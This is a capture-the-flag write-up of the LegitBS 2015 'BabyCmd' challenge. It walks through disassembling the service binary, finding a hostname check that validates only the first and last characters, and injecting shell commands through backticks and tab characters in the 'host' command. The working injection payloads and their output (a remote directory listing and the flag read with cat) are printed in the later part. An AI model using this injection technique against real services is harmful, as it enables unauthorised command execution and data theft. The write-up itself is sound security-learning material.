LegitBS 2015 BabyCmd

@mrexcessive WHA
& James Nock WHA

The problem

nc 52.17.201.40 15491

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit

The solution
OK we have a binary to look at, but first check for unguarded printf, buffer overflow.
Nothing there..

Time to look at disassembly and file details

$ objdump -d babycmd >asm.asm
$ file babycmd
babycmd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
$ readelf -a babcmd | !manualgrep functions!
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000202018  000200000007 R_X86_64_JUMP_SLO 0000000000000000 strcasecmp + 0
000000202020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 strncpy + 0
000000202028  000600000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0
000000202030  000800000007 R_X86_64_JUMP_SLO 0000000000000000 inet_ntoa + 0
000000202038  000900000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail + 0
000000202040  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strchr + 0
000000202048  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 pclose + 0
000000202050  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 alarm + 0
000000202058  000d00000007 R_X86_64_JUMP_SLO 0000000000000000 strcspn + 0
000000202060  000e00000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main + 0
000000202068  000f00000007 R_X86_64_JUMP_SLO 0000000000000000 fgets + 0
000000202070  001000000007 R_X86_64_JUMP_SLO 0000000000000000 signal + 0
000000202078  001100000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0
000000202080  001200000007 R_X86_64_JUMP_SLO 0000000000000000 inet_aton + 0
000000202088  001300000007 R_X86_64_JUMP_SLO 0000000000000000 _IO_getc + 0
000000202090  001400000007 R_X86_64_JUMP_SLO 0000000000000000 __printf_chk + 0
000000202098  001500000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf + 0
0000002020a0  001600000007 R_X86_64_JUMP_SLO 0000000000000000 popen + 0
0000002020a8  001800000007 R_X86_64_JUMP_SLO 0000000000000000 exit + 0
0000002020b0  001a00000007 R_X86_64_JUMP_SLO 0000000000000000 __cxa_finalize + 0
0000002020b8  001b00000007 R_X86_64_JUMP_SLO 0000000000000000 __sprintf_chk + 0

Hmmm OK... so popen() is interesting, implies maybe it calls dig/host/ping etc. rather than a subset implemented here.

Wonder if we can dig A $user or something.
Nope $ is escaped... perhaps backtick ?
let's try including `ls`

Hmmm

Commands: ping, dig, host, exit
: dig A `ls`
Invalid hostname.
Commands: ping, dig, host, exit
: dig A `echo 'news.bbc.co.uk'`
Invalid Host or IP address sent to dig.

Looks promising.. need to look at assembler...
Doesn't get me anywhere yet
I can do echo $ echo -n 'bbc.co.uk' at cmd line and get expected bbc.co.uk

Meanwhile...
It would be nice to stop the timeout... or lengthen it - for the local copy - it's annoying !

Patch this ?
1271: bf 2d 00 00 00 mov $0x2d,%edi 1276: e8 a5 f8 ff ff callq b20

$bvi ...
00001270  FF BF 2D 00 00 00 E8 A5 F8 FF FF 48 8D 3D BE 03 ..-........H.=..

Try 01 first...check it works
Yes - that changes to 1 second

OK lets change to big number

00001270  FF BF 2D ff ff 00 E8 A5 F8 FF FF 48 8D 3D BE 03 ..-........H.=..

OK that's handy

We need a string can pass through `` backticks but which validates as correct hostname for ping or dig or host... maybe...

Perhaps is only checking parameters up until a \0 but passing everything to external command ?


There are three calls to popen() - what about the filtering on those ?

thinks... this is 1 point... the most feeble...
It must be exploit through weakness, not shellcode/ROP (I hope...)

Looking for buffer copies etc. which are not protected

Probably useful to run locally in shell loop so can send it things with \0 for example...

Lets try that, OK little loop

$ vi ./runserve.sh
#!/bin/sh
while true; do nc -l -p 1337 -e ./longbabycmd ; done

I notice that input stops at LF not at \0
However strncpy() pretty soon will drop anything after \0

This is weird...

130a:    c6 84 2c 10 01 00 00    movb   $0x0,0x110(%rsp,%rbp,1)      ; stick \0 at +x110 ??

Is that just to make sure there is a \0 ?? ... well beyond end of buffer
Ah no... that is just terminating the first word... doh !

I see nothing obvious in the main loop, now we are looking at the specific commands
It calls to three routines at :
* not sequential code *

    13a7:    e8 89 fa ff ff          callq  e35         # DO_PING
    13c7:    e8 90 fb ff ff          callq  f5c         # DO_DIG
    13e7:    e8 d1 fc ff ff          callq  10bd        # DO_HOST

... time passes / coffee ingested ...

Some investigation later... the ipaddress for PING is shoved in and out of inet_aton() / inet_ntoa() so cannot be reasonably exploited I think... Unless that code itself has a problem - which would be big news...

So maybe HOST or DIG ?

In DO_DIG

(gdb) b *0x555555554f76        ; just after canary setup
     fbb:    e8 c0 fb ff ff          callq  b80 
     fc0:    85 c0                   test   %eax,%eax              ; did we get address object ?
     fc2:    74 2d                   je     ff1
         ; No... -> DIG_NOT_IP_ADDRESS_NUMBERS_THEN

OK Some hope with dig ...

It has removed all spaces from the string... so DIG A something becomes DIG Asomething

OTHER_STRING_CHECK (my label) is interesting - this happens for dig and host commands, after program has determined param is not an IP address (so you can pass a name)

OTHER_STRING_CHECK
     dcc:    48 89 fe                mov    %rdi,%rsi           # see http://stackoverflow.com/questions/26783797/repnz-scas-assembly-instruction-specifics
     dcf:    b8 00 00 00 00          mov    $0x0,%eax
     dd4:    48 c7 c1 ff ff ff ff    mov    $0xffffffffffffffff,%rcx
     ddb:    f2 ae                   repnz scas %es:(%rdi),%al
     ddd:    48 f7 d1                not    %rcx
     de0:    48 8d 51 ff             lea    -0x1(%rcx),%rdx     ; rdx is now length(rdi) string ("Asomething" = \xa 10 chars long)
     de4:    48 83 e9 04             sub    $0x4,%rcx           ; rcx = \xb = length + 1, now -3
     de8:    b8 00 00 00 00          mov    $0x0,%eax           ; 0 -> eax - setup for fail
     ded:    48 83 f9 3c             cmp    $0x3c,%rcx          ; rcx = 0x3c , but comparing length-3
     df1:    77 40                   ja     e33 <__sprintf_chk@plt+0x243>  ; FAIL if length > 3f (so x40 or above = fail)
                                                               ; -> OSC_EXIT
     df3:    0f b6 06                movzbl (%rsi),%eax         ; get a char from the DIG param
     df6:    89 c1                   mov    %eax,%ecx           ;
     df8:    83 e1 df                and    $0xffffffdf,%ecx    ; and with 0b1101 1111 -  mask bit 5 for case insensitive
                                                               ; CX = char.lower()
     dfb:    83 e9 41                sub    $0x41,%ecx          ; ECX = char - 'A'
     dfe:    80 f9 19                cmp    $0x19,%cl           ; 
     e01:    76 0d                   jbe    e10 <__sprintf_chk@plt+0x220>      ; <= 25 => "A".."Z" ok (also "a".."z" ok)
     e03:    8d 48 d0                lea    -0x30(%rax),%ecx    ; ECX = char - '0'
     e06:    b8 00 00 00 00          mov    $0x0,%eax           ; setup for fail...
     e0b:    80 f9 09                cmp    $0x9,%cl            ; '0'..'9' ok
     e0e:    77 23                   ja     e33 <__sprintf_chk@plt+0x243>   ; otherwise exit now

     e10:    0f b6 54 16 ff          movzbl -0x1(%rsi,%rdx,1),%edx    ; get final char
     e15:    89 d1                   mov    %edx,%ecx           ; 
     e17:    83 e1 df                and    $0xffffffdf,%ecx    ; mask 0b1101 1111 CX = finalchar.lower() 
     e1a:    83 e9 41                sub    $0x41,%ecx          ; - 'A'
     e1d:    b8 01 00 00 00          mov    $0x1,%eax
     e22:    80 f9 19                cmp    $0x19,%cl
     e25:    76 0c                   jbe    e33 <__sprintf_chk@plt+0x243>
     e27:    83 ea 30                sub    $0x30,%edx
     e2a:    80 fa 09                cmp    $0x9,%dl
     e2d:    0f 96 c0                setbe  %al
     e30:    0f b6 c0                movzbl %al,%eax
OSC_EXIT
     e33:    f3 c3                   repz retq                  ; exit - 0 in AX => fail

Looking for the slightly unusual use of ecx, find this on stackoverflow:

http://stackoverflow.com/questions/26783797/repnz-scas-assembly-instruction-specifics
    ecx = (unsigned)-1;
    while (ecx != 0) {
        ZF = (0 == *(BYTE *)edi);
        edi++;
        ecx--;
        if (ZF) break;
    }
    ecx = ~ecx;
    ecx--;

So, this checks that no more than 0x3f bytes in the parameter to DIG

Ohhh... No loop over string!
In this OTHER_STRING_CHECK function (above)...
DIG|HOST it only check their param like this:

  • 1st char is alphanumeric...
  • Final char is alphanumeric
  • middle chars are NOT checked here...

So `` ok in middle may be ok - which would be nice...

Hmmm but it does compress out spaces
And it is singlequoting the whole thing...
dig 'Aecho-nsomething1'

Quickly checking... host is called like this
"host \"%s\"" And also uses OTHER_STRING_CHECK after IP address attempt

So we maybe want to attack through host...
NICE - yes that works locally ...!

: host l`ls`1
host: 'lbin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
...
vmlinuz.old1' is not a legal name (label too long)
Commands: ping, dig, host, exit

Huzzah ! A way in !!

What about the spaces removal ? short break for more coffee ..

The girl from Ipanema plays in the background...


OK can do it through use of \t which is not compressed, but is allowed through, but now need to send to socket through python (or shell, or haskell, or whatever your favourite compositor is...)

$ (python -c 'print "host l`ls\tboot`1"';cat) | ./chall.sh

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host: 'lSystem.map-3.13.0-44-generic
System.map-3.13.0-46-generic
System.map-3.13.0-49-generic
abi-3.13.0-44-generic
abi-3.13.0-46-generic
abi-3.13.0-49-generic
config-3.13.0-44-generic
config-3.13.0-46-generic
config-3.13.0-49-generic
grub
initrd.img-3.13.0-44-generic
initrd.img-3.13.0-46-generic
initrd.img-3.13.0-49-generic
vmlinuz-3.13.0-44-generic
vmlinuz-3.13.0-46-generic
vmlinuz-3.13.0-49-generic1' is not a legal name

Nice ! remote looking at filesystem

 (python -c 'print "host l`ls\t-la\thome`1"';cat) | ./chall.sh 

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host: 'ltotal 16
drwxr-xr-x  4 root   root    4096 May 15 10:55 .
drwxr-xr-x 22 root   root    4096 May 15 10:48 ..
drwxr-x---  2 root   babycmd 4096 May 15 15:53 babycmd
drwx------  4 ubuntu ubuntu  4096 Mar 19 19:27 ubuntu1' is not a legal name (empty label)
Commands: ping, dig, host, exit

Some hunting around later and James finds this :

$ (python -c 'print "host l`cat\t\thome/babycmd/flag`1"';cat) | ./chall.sh 
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host: 'lThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??1' is not in legal name syntax (label too long)

FLAG and done !